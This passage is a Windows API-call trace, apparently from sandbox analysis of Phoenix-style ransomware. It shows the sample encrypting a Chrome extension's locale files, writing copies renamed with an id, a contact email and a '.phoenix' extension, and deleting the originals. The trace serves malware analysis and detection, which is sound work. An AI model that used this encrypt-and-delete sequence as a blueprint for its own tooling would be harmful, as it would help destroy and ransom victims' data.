	[0260.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.521] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.521] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.522] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0260.522] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.522] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.523] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.523] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.524] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0260.524] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.524] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.524] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.524] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.525] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.525] CloseHandle (hObject=0x254) returned 1
	[0260.525] CloseHandle (hObject=0x2c0) returned 1
	[0260.525] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json")) returned 1
	[0260.526] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.526] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.526] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.526] CloseHandle (hObject=0x2c0) returned 1
	[0260.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json")) returned 0x20
	[0260.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.527] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.527] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.527] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.527] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.528] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0260.528] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.528] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.529] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.529] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.530] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0260.530] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.530] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.530] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.530] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.530] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.530] CloseHandle (hObject=0x2c0) returned 1
	[0260.530] CloseHandle (hObject=0x254) returned 1
	[0260.530] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json")) returned 1
	[0260.531] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.532] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.532] CloseHandle (hObject=0x254) returned 1
	[0260.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json")) returned 0x20
	[0260.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.532] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.532] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.533] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0260.533] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.533] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.534] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.534] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0260.535] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.535] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.535] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.535] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.535] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.535] CloseHandle (hObject=0x254) returned 1
	[0260.536] CloseHandle (hObject=0x2c0) returned 1
	[0260.536] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json")) returned 1
	[0260.536] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.537] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.537] CloseHandle (hObject=0x2c0) returned 1
	[0260.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json")) returned 0x20
	[0260.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.537] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.537] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.607] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0260.607] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.607] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.608] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.608] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.609] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0260.609] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.609] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.609] CryptDestroyKey (hKey=0x151380) returned 1
	[0260.609] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.609] CryptDestroyKey (hKey=0x151040) returned 1
	[0260.609] CloseHandle (hObject=0x2c0) returned 1
	[0260.610] CloseHandle (hObject=0x254) returned 1
	[0260.610] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json")) returned 1
	[0260.611] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.611] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.611] CloseHandle (hObject=0x254) returned 1
	[0260.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json")) returned 0x20
	[0260.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.612] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.612] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.612] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0260.613] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.613] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.614] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.614] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.615] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0260.615] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
